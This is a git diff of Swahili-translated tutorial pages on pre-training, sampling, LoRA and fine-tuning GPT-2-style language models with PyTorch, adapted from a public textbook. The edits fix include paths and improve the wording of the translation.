Kuwa na mfano unaotabiri token inayofuata kama ile ya awali, inahitajika tu kuchukua thamani za token za mwisho kutoka kwa matokeo (kama zitakuwa zile za token iliyotabiriwa), ambazo zitakuwa **thamani kwa kila kipengee katika msamiati** na kisha kutumia kazi ya `softmax` kuboresha vipimo kuwa uwezekano vinavyos suma 1 na kisha kupata index ya kipengee kikubwa zaidi, ambacho kitakuwa index ya neno ndani ya msamiati.
|
||||
|
||||
Code from [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch04/01_main-chapter-code/ch04.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch04/01_main-chapter-code/ch04.ipynb):
|
||||
```python
|
||||
@ -668,4 +668,4 @@ print("Output length:", len(out[0]))
|
||||
- [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch)
|
||||
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -1,31 +1,31 @@
|
||||
# 6. Pre-training & Loading models
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Text Generation
|
||||
|
||||
Ili kufundisha mfano, tunahitaji mfano huo uweze kuzalisha tokens mpya. Kisha tutalinganisha tokens zilizozalishwa na zile zinazotarajiwa ili kufundisha mfano **kujifunza tokens anazohitaji kuzalisha**.
|
||||
Ili kufundisha mfano, tutahitaji mfano huo uweze kuzalisha token mpya. Kisha tutalinganisha token zilizozalishwa na zile zinazotarajiwa ili kufundisha mfano **kujifunza token anazohitaji kuzalisha**.
|
||||
|
||||
Kama katika mifano ya awali, tayari tumepiga makadirio ya baadhi ya tokens, inawezekana kutumia kazi hiyo tena kwa kusudi hili.
|
||||
Kama katika mifano ya awali, tayari tumepiga makadirio ya baadhi ya token, inawezekana kutumia kazi hiyo kwa kusudi hili.
|
||||
|
||||
> [!TIP]
|
||||
> Lengo la awamu hii ya sita ni rahisi sana: **Fundisha mfano kutoka mwanzo**. Kwa hili, usanifu wa awali wa LLM utatumika na mizunguko kadhaa ikipita juu ya seti za data kwa kutumia kazi za hasara zilizofafanuliwa na msaidizi kufundisha vigezo vyote vya mfano.
|
||||
|
||||
## Text Evaluation
|
||||
|
||||
Ili kufanya mafunzo sahihi, inahitajika kupima makadirio yaliyopatikana kwa token inayotarajiwa. Lengo la mafunzo ni kuongeza uwezekano wa token sahihi, ambayo inahusisha kuongeza uwezekano wake kulinganisha na tokens nyingine.
|
||||
Ili kufanya mafunzo sahihi, inahitajika kupima makadirio yaliyopatikana kwa token inayotarajiwa. Lengo la mafunzo ni kuongeza uwezekano wa token sahihi, ambayo inahusisha kuongeza uwezekano wake kulinganisha na token nyingine.
|
||||
|
||||
Ili kuongeza uwezekano wa token sahihi, uzito wa mfano lazima ubadilishwe ili uwezekano huo uweze kuongezeka. Sasisho za uzito zinafanywa kupitia **backpropagation**. Hii inahitaji **kazi ya hasara ili kuongeza**. Katika kesi hii, kazi itakuwa **tofauti kati ya makadirio yaliyofanywa na ile inayotakiwa**.
|
||||
Ili kuongeza uwezekano wa token sahihi, uzito wa mfano lazima ubadilishwe ili uwezekano huo uweze kuongezeka. Sasisho za uzito zinafanywa kupitia **backpropagation**. Hii inahitaji **kazi ya hasara kuongeza**. Katika kesi hii, kazi itakuwa **tofauti kati ya makadirio yaliyofanywa na ile inayotakiwa**.
|
||||
|
||||
Hata hivyo, badala ya kufanya kazi na makadirio ya moja kwa moja, itafanya kazi na logarithm yenye msingi n. Hivyo, ikiwa makadirio ya sasa ya token inayotarajiwa ilikuwa 7.4541e-05, logarithm ya asili (msingi *e*) ya **7.4541e-05** ni takriban **-9.5042**.\
|
||||
Kisha, kwa kila ingizo lenye urefu wa muktadha wa tokens 5 kwa mfano, mfano utahitaji kutabiri tokens 5, ambapo tokens 4 za kwanza ni za mwisho wa ingizo na ya tano ni ile iliyotabiriwa. Kwa hivyo, kwa kila ingizo tutakuwa na makadirio 5 katika kesi hiyo (hata kama tokens 4 za kwanza zilikuwa katika ingizo, mfano haujui hili) na hivyo tokens 5 zinazotarajiwa na kwa hiyo uwezekano 5 wa kuongeza.
|
||||
Kisha, kwa kila ingizo lenye urefu wa muktadha wa token 5 kwa mfano, mfano utahitaji kutabiri token 5, ambapo token 4 za kwanza ni za mwisho wa ingizo na ya tano ni ile iliyotabiriwa. Kwa hivyo, kwa kila ingizo tutakuwa na makadirio 5 katika kesi hiyo (hata kama token 4 za kwanza zilikuwa katika ingizo, mfano haujui hili) zikiwa na token 5 zinazotarajiwa na hivyo uwezekano 5 wa kuongeza.
|
||||
|
||||
Kwa hivyo, baada ya kufanya logarithm ya asili kwa kila makadirio, **kati** inahesabiwa, **ishara ya minus inatolewa** (hii inaitwa _hasara ya msalaba_) na hiyo ndiyo **nambari ya kupunguza karibu na 0 iwezekanavyo** kwa sababu logarithm ya asili ya 1 ni 0:
|
||||
Kwa hivyo, baada ya kufanya logarithm ya asili kwa kila makadirio, **kati** inahesabiwa, **ishara ya minus inatolewa** (hii inaitwa _hasara ya msalaba_) na hiyo ndiyo **nambari ya kupunguza iwe karibu na 0 kadri inavyowezekana** kwa sababu logarithm ya asili ya 1 ni 0:
|
||||
|
||||
<figure><img src="../../images/image (10) (1).png" alt="" width="563"><figcaption><p><a href="https://camo.githubusercontent.com/3c0ab9c55cefa10b667f1014b6c42df901fa330bb2bc9cea88885e784daec8ba/68747470733a2f2f73656261737469616e72617363686b612e636f6d2f696d616765732f4c4c4d732d66726f6d2d736372617463682d696d616765732f636830355f636f6d707265737365642f63726f73732d656e74726f70792e776562703f313233">https://camo.githubusercontent.com/3c0ab9c55cefa10b667f1014b6c42df901fa330bb2bc9cea88885e784daec8ba/68747470733a2f2f73656261737469616e72617363686b612e636f6d2f696d616765732f4c4c4d732d66726f6d2d736372617463682d696d616765732f636830355f636f6d707265737365642f63726f73732d656e74726f70792e776562703f313233</a></p></figcaption></figure>
|
||||
|
||||
Njia nyingine ya kupima jinsi mfano ulivyo mzuri inaitwa perplexity. **Perplexity** ni kipimo kinachotumika kutathmini jinsi mfano wa uwezekano unavyotabiri sampuli. Katika uundaji wa lugha, inawakilisha **kutokuwa na uhakika kwa mfano** wakati wa kutabiri token inayofuata katika mfuatano.\
|
||||
Kwa mfano, thamani ya perplexity ya 48725, inamaanisha kwamba wakati inahitajika kutabiri token, haijui ni ipi kati ya tokens 48,725 katika msamiati ndiyo sahihi.
|
||||
Kwa mfano, thamani ya perplexity ya 48725, inamaanisha kwamba wakati inahitajika kutabiri token, haijui ni ipi kati ya token 48,725 katika msamiati ndiyo sahihi.
|
||||
|
||||
## Pre-Train Example
|
||||
|
||||
@ -529,7 +529,7 @@ torch.save({
|
||||
```
|
||||
### Functions to transform text <--> ids
|
||||
|
||||
Hizi ni baadhi ya kazi rahisi ambazo zinaweza kutumika kubadilisha maandiko kutoka kwa msamiati kuwa ids na kinyume chake. Hii inahitajika mwanzoni mwa kushughulikia maandiko na mwishoni mwa utabiri:
|
||||
Hizi ni baadhi ya kazi rahisi ambazo zinaweza kutumika kubadilisha kutoka maandiko kutoka kwa msamiati hadi ids na kinyume chake. Hii inahitajika mwanzoni mwa kushughulikia maandiko na mwishoni mwa utabiri:
|
||||
```python
|
||||
# Functions to transform from tokens to ids and from to ids to tokens
|
||||
def text_to_token_ids(text, tokenizer):
|
||||
@ -547,7 +547,7 @@ Katika sehemu ya awali, kazi ambayo ilipata **token inayowezekana zaidi** baada
|
||||
|
||||
Kazi ifuatayo ya `generate_text`, itatumia dhana za `top-k`, `temperature` na `multinomial`.
|
||||
|
||||
- **`top-k`** inamaanisha kwamba tutaanza kupunguza hadi `-inf` uwezekano wa token zote isipokuwa token za juu k. Hivyo, ikiwa k=3, kabla ya kufanya uamuzi, token 3 zinazowezekana zaidi zitakuwa na uwezekano tofauti na `-inf`.
|
||||
- **`top-k`** inamaanisha kwamba tutaanza kupunguza hadi `-inf` uwezekano wa token zote isipokuwa za juu k. Hivyo, ikiwa k=3, kabla ya kufanya uamuzi, token 3 zinazowezekana zaidi zitakuwa na uwezekano tofauti na `-inf`.
|
||||
- **`temperature`** inamaanisha kwamba kila uwezekano utagawanywa kwa thamani ya joto. Thamani ya `0.1` itaboresha uwezekano wa juu zaidi ikilinganishwa na wa chini, wakati joto la `5` kwa mfano litafanya iwe tambarare zaidi. Hii husaidia kuboresha tofauti katika majibu tunayotaka LLM iwe nayo.
|
||||
- Baada ya kutumia joto, kazi ya **`softmax`** inatumika tena ili kufanya token zote zilizobaki kuwa na uwezekano wa jumla wa 1.
|
||||
- Hatimaye, badala ya kuchagua token yenye uwezekano mkubwa zaidi, kazi ya **`multinomial`** inatumika ili **kutabiri token inayofuata kulingana na uwezekano wa mwisho**. Hivyo ikiwa token 1 ilikuwa na asilimia 70 ya uwezekano, token 2 asilimia 20 na token 3 asilimia 10, asilimia 70 ya wakati token 1 itachaguliwa, asilimia 20 ya wakati itakuwa token 2 na asilimia 10 ya wakati itakuwa token 3.
|
||||
@ -592,17 +592,17 @@ idx = torch.cat((idx, idx_next), dim=1) # (batch_size, num_tokens+1)
|
||||
return idx
|
||||
```
|
||||
> [!TIP]
|
||||
> Kuna mbadala wa kawaida wa `top-k` unaitwa [**`top-p`**](https://en.wikipedia.org/wiki/Top-p_sampling), pia inajulikana kama nucleus sampling, ambayo badala ya kupata sampuli k zenye uwezekano mkubwa, in **andaa** msamiati wote unaotokana kwa uwezekano na **jumlisha** kutoka kwa uwezekano mkubwa hadi mdogo hadi **kigezo kifikwe**.
|
||||
> Kuna mbadala wa kawaida wa `top-k` unaitwa [**`top-p`**](https://en.wikipedia.org/wiki/Top-p_sampling), pia inajulikana kama nucleus sampling, ambayo badala ya kupata sampuli k zenye uwezekano mkubwa, in **andaa** msamiati wote unaotokana na uwezekano na **jumlisha** kutoka kwa uwezekano wa juu hadi wa chini hadi **kigezo kifikwe**.
|
||||
>
|
||||
> Kisha, **maneno hayo tu** ya msamiati yatazingatiwa kulingana na uwezekano wao wa jamaa.
|
||||
>
|
||||
> Hii inaruhusu kutohitaji kuchagua idadi ya sampuli `k`, kwani k bora inaweza kuwa tofauti katika kila kesi, bali **tu kigezo**.
|
||||
> Hii inaruhusu kutohitaji kuchagua idadi ya sampuli `k`, kwani k bora inaweza kuwa tofauti katika kila kesi, bali **kigezo tu**.
|
||||
>
|
||||
> _Kumbuka kwamba uboreshaji huu haujajumuishwa katika msimbo wa awali._
|
||||
|
||||
> [!TIP]
|
||||
> Njia nyingine ya kuboresha maandiko yaliyotengenezwa ni kwa kutumia **Beam search** badala ya utafutaji wa greedy uliofanywa katika mfano huu.\
|
||||
> Tofauti na utafutaji wa greedy, ambao unachagua neno linalowezekana zaidi katika kila hatua na kujenga mlolongo mmoja, **beam search inashika rekodi ya 𝑘 k ya mlolongo wa sehemu zenye alama za juu** (zinazoitwa "beams") katika kila hatua. Kwa kuchunguza uwezekano wengi kwa wakati mmoja, inasawazisha ufanisi na ubora, ikiongeza nafasi za **kupata mlolongo bora zaidi** ambao unaweza kupuuziliwa mbali na mbinu ya greedy kutokana na chaguzi za mapema, zisizo bora.
|
||||
> Tofauti na utafutaji wa greedy, ambao unachagua neno linalowezekana zaidi katika kila hatua na kujenga mlolongo mmoja, **beam search inashika rekodi ya 𝑘 k ya juu ya alama za sehemu za mlolongo** (zinazoitwa "beams") katika kila hatua. Kwa kuchunguza uwezekano wengi kwa wakati mmoja, inasawazisha ufanisi na ubora, ikiongeza nafasi za **kupata mlolongo bora zaidi** ambao unaweza kupuuziliwa mbali na mbinu ya greedy kutokana na chaguzi za mapema, zisizo bora.
|
||||
>
|
||||
> _Kumbuka kwamba uboreshaji huu haujajumuishwa katika msimbo wa awali._
|
||||
|
||||
@ -637,7 +637,7 @@ break
|
||||
return total_loss / num_batches
|
||||
```
|
||||
> [!TIP]
|
||||
> **Gradient clipping** ni mbinu inayotumika kuboresha **utulivu wa mafunzo** katika mitandao mikubwa ya neva kwa kuweka **kigezo cha juu** kwa ukubwa wa gradient. Wakati gradients zinapozidi `max_norm` hii iliyowekwa awali, zinapunguzwa kwa uwiano ili kuhakikisha kwamba masasisho ya vigezo vya mfano yanabaki ndani ya kiwango kinachoweza kudhibitiwa, kuzuia matatizo kama vile gradients zinazoshuka na kuhakikisha mafunzo yanadhibitiwa na kuwa na utulivu zaidi.
|
||||
> **Gradient clipping** ni mbinu inayotumika kuboresha **utulivu wa mafunzo** katika mitandao mikubwa ya neva kwa kuweka **kigezo cha juu** kwa ukubwa wa gradient. Wakati gradient zinapozidi `max_norm` hii iliyowekwa awali, zinapunguzwa kwa uwiano ili kuhakikisha kwamba masasisho ya vigezo vya mfano yanabaki ndani ya kiwango kinachoweza kudhibitiwa, kuzuia matatizo kama vile gradient zinazoshuka na kuhakikisha mafunzo yanadhibitiwa na kuwa thabiti zaidi.
|
||||
>
|
||||
> _Kumbuka kwamba uboreshaji huu haujajumuishwa katika msimbo wa awali._
|
||||
>
|
||||
@ -645,15 +645,15 @@ return total_loss / num_batches
|
||||
|
||||
<figure><img src="../../images/image (6) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Loading Data
|
||||
### Kupakia Data
|
||||
|
||||
Mifunction `create_dataloader_v1` na `create_dataloader_v1` tayari zimejadiliwa katika sehemu ya awali.
|
||||
|
||||
Kutoka hapa kumbuka jinsi ilivyoainishwa kwamba 90% ya maandiko yatatumika kwa mafunzo wakati 10% itatumika kwa uthibitisho na seti zote zinahifadhiwa katika waendeshaji wa data 2 tofauti.\
|
||||
Kutoka hapa, kumbuka jinsi ilivyoainishwa kwamba 90% ya maandiko yatatumika kwa mafunzo wakati 10% itatumika kwa uthibitisho na seti zote zinahifadhiwa katika waendeshaji wa data 2 tofauti.\
|
||||
Kumbuka kwamba wakati mwingine sehemu ya seti ya data pia inachwa kwa seti ya majaribio ili kutathmini vizuri utendaji wa mfano.
|
||||
|
||||
Waendeshaji wote wa data wanatumia saizi sawa ya kundi, urefu wa juu na stride na idadi ya wafanyakazi (0 katika kesi hii).\
|
||||
Tofauti kuu ni data inayotumiwa na kila mmoja, na waathibitishaji hawatupi ya mwisho wala kuchanganya data kwani si muhimu kwa madhumuni ya uthibitisho.
|
||||
Tofauti kuu ni data inayotumiwa na kila mmoja, na waathibitishaji hawang'oa ya mwisho wala kuchanganya data kwani si muhimu kwa madhumuni ya uthibitisho.
|
||||
|
||||
Pia ukweli kwamba **stride ni kubwa kama urefu wa muktadha**, ina maana kwamba hakutakuwa na overlapping kati ya muktadha inayotumika kufundisha data (inapunguza overfitting lakini pia seti ya data ya mafunzo).
|
||||
|
||||
@ -757,11 +757,11 @@ The function `evaluate_model` inaitwa mara kwa mara kama inavyoashiria kwa kazi
|
||||
Kisha kazi kubwa `train_model_simple` ndiyo inayofanya mafunzo ya modeli. Inatarajia:
|
||||
|
||||
- Mtu wa kupakia data ya mafunzo (ikiwa na data tayari imegawanywa na kuandaliwa kwa mafunzo)
|
||||
- Mtu wa kupakia uthibitisho
|
||||
- Mtu wa kuthibitisha
|
||||
- **optimizer** ya kutumia wakati wa mafunzo: Hii ndiyo kazi itakayotumia gradients na kusasisha vigezo ili kupunguza hasara. Katika kesi hii, kama utakavyoona, `AdamW` inatumika, lakini kuna nyingi zaidi.
|
||||
- `optimizer.zero_grad()` inaitwa ili kurekebisha gradients katika kila raundi ili zisijikusanye.
|
||||
- **`lr`** param ni **kasi ya kujifunza** ambayo inamua **ukubwa wa hatua** zinazochukuliwa wakati wa mchakato wa kuboresha unaposasisha vigezo vya modeli. Kasi ya kujifunza **ndogo** inamaanisha optimizer **inafanya sasisho ndogo** kwa uzito, ambayo inaweza kusababisha **mwelekeo sahihi** lakini inaweza **kuchelewesha** mafunzo. Kasi ya kujifunza **kubwa** inaweza kuharakisha mafunzo lakini **ina hatari ya kupita** chini ya kiwango cha chini cha kazi ya hasara (**kuruka juu** ya mahali ambapo kazi ya hasara inakuwa ndogo).
|
||||
- **Weight Decay** inabadilisha hatua ya **Kuhesabu Hasara** kwa kuongeza neno la ziada linaloadhibu uzito mkubwa. Hii inahimiza optimizer kupata suluhisho zenye uzito mdogo, ikisawazisha kati ya kufaa data vizuri na kuweka modeli rahisi ili kuzuia overfitting katika mifano ya kujifunza mashine kwa kuzuia modeli isijitoe umuhimu mwingi kwa kipengele kimoja.
|
||||
- **`lr`** param ni **kasi ya kujifunza** ambayo inamua **ukubwa wa hatua** zinazochukuliwa wakati wa mchakato wa kuboresha unaposasisha vigezo vya modeli. Kasi ya kujifunza **ndogo** inamaanisha optimizer **inafanya sasisho ndogo** kwa uzito, ambayo inaweza kusababisha **mwelekeo** sahihi lakini inaweza **kuchelewesha** mafunzo. Kasi ya kujifunza **kubwa** inaweza kuharakisha mafunzo lakini **ina hatari ya kupita** chini ya kiwango cha chini cha kazi ya hasara (**kuruka juu** ya mahali ambapo kazi ya hasara inakuwa ndogo).
|
||||
- **Weight Decay** inabadilisha hatua ya **Kuhesabu Hasara** kwa kuongeza neno la ziada linalotoza uzito mkubwa. Hii inahimiza optimizer kupata suluhisho zenye uzito mdogo, ikisawazisha kati ya kufaa data vizuri na kuweka modeli rahisi ili kuzuia overfitting katika mifano ya kujifunza mashine kwa kukataza modeli kupewa umuhimu mkubwa kwa kipengele chochote kimoja.
|
||||
- Optimizers za jadi kama SGD na L2 regularization zinachanganya uzito wa kupungua na gradient ya kazi ya hasara. Hata hivyo, **AdamW** (toleo la optimizer ya Adam) inatenganisha uzito wa kupungua kutoka kwa sasisho la gradient, ikisababisha udhibiti mzuri zaidi.
|
||||
- Kifaa cha kutumia kwa mafunzo
|
||||
- Idadi ya epochs: Idadi ya nyakati za kupita juu ya data ya mafunzo
|
||||
@ -832,8 +832,8 @@ model.train() # Back to training model applying all the configurations
|
||||
> [!TIP]
|
||||
> Ili kuboresha kiwango cha kujifunza kuna mbinu kadhaa muhimu zinazoitwa **linear warmup** na **cosine decay.**
|
||||
>
|
||||
> **Linear warmup** inajumuisha kufafanua kiwango cha awali cha kujifunza na kiwango cha juu na kuendelea kukisasisha baada ya kila kipindi. Hii ni kwa sababu kuanza mafunzo na masasisho madogo ya uzito hupunguza hatari ya mfano kukutana na masasisho makubwa, yanayoweza kuleta machafuko wakati wa awamu yake ya mafunzo.\
|
||||
> **Cosine decay** ni mbinu ambayo **inapunguza taratibu kiwango cha kujifunza** ikifuatia curve ya nusu-cosine **baada ya awamu ya warmup**, ikichelewesha masasisho ya uzito ili **kupunguza hatari ya kupita** chini ya kiwango cha hasara na kuhakikisha utulivu wa mafunzo katika awamu za baadaye.
|
||||
> **Linear warmup** inajumuisha kufafanua kiwango cha awali cha kujifunza na kiwango cha juu na kuendelea kukisasisha baada ya kila kipindi. Hii ni kwa sababu kuanza mafunzo na masasisho madogo ya uzito hupunguza hatari ya mfano kukutana na masasisho makubwa, yanayoweza kuleta kutokuwa na utulivu wakati wa awamu yake ya mafunzo.\
|
||||
> **Cosine decay** ni mbinu ambayo **inapunguza polepole kiwango cha kujifunza** ikifuatia curve ya nusu-cosine **baada ya awamu ya warmup**, ikichelewesha masasisho ya uzito ili **kupunguza hatari ya kupita** chini ya kiwango cha hasara na kuhakikisha utulivu wa mafunzo katika awamu za baadaye.
|
||||
>
|
||||
> _Kumbuka kwamba maboresho haya hayajajumuishwa katika msimbo wa awali._
|
||||
|
||||
@ -860,7 +860,7 @@ print(f"Training completed in {execution_time_minutes:.2f} minutes.")
|
||||
```
|
||||
### Print training evolution
|
||||
|
||||
Kwa kutumia kazi ifuatayo inawezekana kuchapisha maendeleo ya mfano wakati ulikuwa unafundishwa.
|
||||
Kwa kutumia kazi ifuatayo, inawezekana kuchapisha maendeleo ya mfano wakati ulikuwa unafundishwa.
|
||||
```python
|
||||
import matplotlib.pyplot as plt
|
||||
from matplotlib.ticker import MaxNLocator
|
||||
@ -943,4 +943,4 @@ Kuna skripti 2 za haraka za kupakia uzito wa GPT2 kwenye kompyuta yako. Kwa zote
|
||||
- [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch)
|
||||
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -1,6 +1,6 @@
|
||||
# 7.0. LoRA Improvements in fine-tuning
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## LoRA Improvements
|
||||
|
||||
@ -62,4 +62,4 @@ replace_linear_with_lora(module, rank, alpha)
|
||||
|
||||
- [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch)
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -1,6 +1,6 @@
|
||||
# 7.1. Fine-Tuning for Classification
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## What is
|
||||
|
||||
@ -16,15 +16,15 @@ Fine-tuning ni mchakato wa kuchukua **modeli iliyofundishwa awali** ambayo imeji
|
||||
|
||||
### Data set size
|
||||
|
||||
Kwa kweli, ili kurekebisha modeli unahitaji data iliyopangwa ili kutumia kupecialize LLM yako. Katika mfano ulioanzishwa katika [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch06/01_main-chapter-code/ch06.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch06/01_main-chapter-code/ch06.ipynb), GPT2 inarekebishwa kugundua kama barua pepe ni spam au la kwa kutumia data kutoka [https://archive.ics.uci.edu/static/public/228/sms+spam+collection.zip](https://archive.ics.uci.edu/static/public/228/sms+spam+collection.zip)_._
|
||||
Bila shaka, ili kurekebisha modeli unahitaji data iliyopangwa ili kutumia kupecialize LLM yako. Katika mfano ulioanzishwa katika [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch06/01_main-chapter-code/ch06.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch06/01_main-chapter-code/ch06.ipynb), GPT2 inarekebishwa kugundua kama barua pepe ni spam au la kwa kutumia data kutoka [https://archive.ics.uci.edu/static/public/228/sms+spam+collection.zip](https://archive.ics.uci.edu/static/public/228/sms+spam+collection.zip)_._
|
||||
|
||||
Seti hii ya data ina mifano mingi zaidi ya "sio spam" kuliko "spam", kwa hivyo kitabu kinapendekeza **kutumia mifano ya "sio spam" sawa na ile ya "spam"** (hivyo, kuondoa mifano yote ya ziada kutoka kwa data ya mafunzo). Katika kesi hii, hii ilikuwa mifano 747 ya kila mmoja.
|
||||
|
||||
Kisha, **70%** ya seti ya data inatumika kwa **mafunzo**, **10%** kwa **uthibitisho** na **20%** kwa **kujaribu**.
|
||||
|
||||
- **Seti ya uthibitisho** inatumika wakati wa awamu ya mafunzo ili kurekebisha **vigezo vya hyper** vya modeli na kufanya maamuzi kuhusu usanifu wa modeli, kwa ufanisi kusaidia kuzuia overfitting kwa kutoa mrejesho juu ya jinsi modeli inavyofanya kwenye data isiyoonekana. Inaruhusu maboresho ya mzunguko bila kupendelea tathmini ya mwisho.
|
||||
- **Seti ya uthibitisho** inatumika wakati wa awamu ya mafunzo ili kurekebisha **vigezo vya hyper** vya modeli na kufanya maamuzi kuhusu usanifu wa modeli, kwa ufanisi kusaidia kuzuia overfitting kwa kutoa mrejesho juu ya jinsi modeli inavyofanya kwenye data isiyoonekana. Inaruhusu maboresho ya kurudi nyuma bila kupendelea tathmini ya mwisho.
|
||||
- Hii ina maana kwamba ingawa data iliyojumuishwa katika seti hii ya data haitumiki kwa mafunzo moja kwa moja, inatumika kurekebisha **vigezo bora vya hyper**, hivyo seti hii haiwezi kutumika kutathmini utendaji wa modeli kama ile ya kujaribu.
|
||||
- Kinyume chake, **seti ya jaribio** inatumika **tu baada** ya modeli kufundishwa kikamilifu na marekebisho yote kukamilika; inatoa tathmini isiyo na upendeleo ya uwezo wa modeli kuweza kujumlisha kwa data mpya, isiyoonekana. Tathmini hii ya mwisho kwenye seti ya jaribio inatoa dalili halisi ya jinsi modeli inavyotarajiwa kufanya katika matumizi halisi.
|
||||
- Kinyume chake, **seti ya kujaribu** inatumika **tu baada ya** modeli kufundishwa kikamilifu na marekebisho yote kukamilika; inatoa tathmini isiyo na upendeleo ya uwezo wa modeli kuweza kujumlisha kwa data mpya, isiyoonekana. Tathmini hii ya mwisho kwenye seti ya kujaribu inatoa dalili halisi ya jinsi modeli inavyotarajiwa kufanya katika matumizi halisi.
|
||||
|
||||
### Entries length
|
||||
|
||||
@ -49,7 +49,7 @@ out_features=num_classes
|
||||
```
|
||||
## Parameters to tune
|
||||
|
||||
Ili kuboresha haraka, ni rahisi kutokuboresha vigezo vyote bali baadhi ya vigezo vya mwisho tu. Hii ni kwa sababu inajulikana kwamba tabaka za chini kwa ujumla zinashughulikia muundo wa lugha wa kimsingi na maana zinazofaa. Hivyo, **kuboresha tabaka za mwisho pekee mara nyingi inatosha na ni ya haraka zaidi**.
|
||||
Ili kuboresha haraka ni rahisi kutokuboresha vigezo vyote bali baadhi ya vigezo vya mwisho tu. Hii ni kwa sababu inajulikana kwamba tabaka za chini kwa ujumla zinashughulikia muundo wa lugha wa kimsingi na maana zinazotumika. Hivyo, tu **kuboresha tabaka za mwisho mara nyingi inatosha na ni ya haraka zaidi**.
|
||||
```python
|
||||
# This code makes all the parameters of the model unrtainable
|
||||
for param in model.parameters():
|
||||
@ -66,9 +66,9 @@ param.requires_grad = True
|
||||
```
|
||||
## Entries to use for training
|
||||
|
||||
Katika sehemu za awali, LLM ilifundishwa kupunguza hasara ya kila token iliyotabiriwa, ingawa karibu token zote zilizotabiriwa zilikuwa katika sentensi ya ingizo (moja tu mwishoni ilitabiriwa kwa kweli) ili mfano uweze kuelewa lugha vizuri zaidi.
|
||||
Katika sehemu za awali, LLM ilifundishwa kupunguza hasara ya kila token iliyotabiriwa, ingawa karibu token zote zilizotabiriwa zilikuwa katika sentensi ya ingizo (moja tu mwishoni ilitabiriwa kwa kweli) ili modeli iweze kuelewa lugha vizuri zaidi.
|
||||
|
||||
Katika kesi hii, tunajali tu kuhusu mfano kuwa na uwezo wa kutabiri kama mfano ni spam au la, hivyo tunajali tu kuhusu token ya mwisho iliyotabiriwa. Kwa hiyo, inahitajika kubadilisha kazi zetu za hasara za mafunzo ya awali ili kuchukua tu token hiyo katika akaunti.
|
||||
Katika kesi hii, tunajali tu kuhusu uwezo wa modeli kutabiri ikiwa modeli ni spam au la, hivyo tunajali tu kuhusu token ya mwisho iliyotabiriwa. Kwa hiyo, inahitajika kubadilisha kazi zetu za hasara za mafunzo ya awali ili kuchukua tu token hiyo katika akaunti.
|
||||
|
||||
Hii imewekwa katika [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch06/01_main-chapter-code/ch06.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch06/01_main-chapter-code/ch06.ipynb) kama:
|
||||
```python
|
||||
@ -101,14 +101,14 @@ logits = model(input_batch)[:, -1, :] # Logits of last output token
|
||||
loss = torch.nn.functional.cross_entropy(logits, target_batch)
|
||||
return loss
|
||||
```
|
||||
Note how for each batch we are only interested in the **logits of the last token predicted**.
|
||||
Note jinsi kwa kila kundi tunavokuwa na nia tu na **logits za token ya mwisho iliyotabiriwa**.
|
||||
|
||||
## Complete GPT2 fine-tune classification code
|
||||
## Kamili GPT2 fine-tune classification code
|
||||
|
||||
You can find all the code to fine-tune GPT2 to be a spam classifier in [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch06/01_main-chapter-code/load-finetuned-model.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch06/01_main-chapter-code/load-finetuned-model.ipynb)
|
||||
Unaweza kupata msimbo wote wa fine-tune GPT2 kuwa mchanganuzi wa spam katika [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch06/01_main-chapter-code/load-finetuned-model.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch06/01_main-chapter-code/load-finetuned-model.ipynb)
|
||||
|
||||
## References
|
||||
## Marejeo
|
||||
|
||||
- [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch)
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -1,6 +1,6 @@
|
||||
# 7.2. Fine-Tuning to follow instructions
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
> [!TIP]
|
||||
> Lengo la sehemu hii ni kuonyesha jinsi ya **kurekebisha mfano ulio tayari tayari kufuata maelekezo** badala ya kuzalisha tu maandiko, kwa mfano, kujibu kazi kama roboti ya mazungumzo.
|
||||
@ -31,7 +31,7 @@ Absolutely! Gravity is a force that pulls objects toward each other.
|
||||
```
|
||||
Kufundisha LLM kwa kutumia seti hizi za data badala ya maandiko ya kawaida husaidia LLM kuelewa kwamba inahitaji kutoa majibu maalum kwa maswali inayopewa.
|
||||
|
||||
Kwa hivyo, moja ya mambo ya kwanza ya kufanya na seti ya data inayojumuisha maombi na majibu ni kuunda mfano wa tarehe hiyo katika muundo wa ombi unaotakiwa, kama:
|
||||
Hivyo, moja ya mambo ya kwanza ya kufanya na seti ya data inayojumuisha maombi na majibu ni kuunda mfano wa tarehe hiyo katika muundo wa ombi unaotakiwa, kama:
|
||||
```python
|
||||
# Code from https://github.com/rasbt/LLMs-from-scratch/blob/main/ch07/01_main-chapter-code/ch07.ipynb
|
||||
def format_input(entry):
|
||||
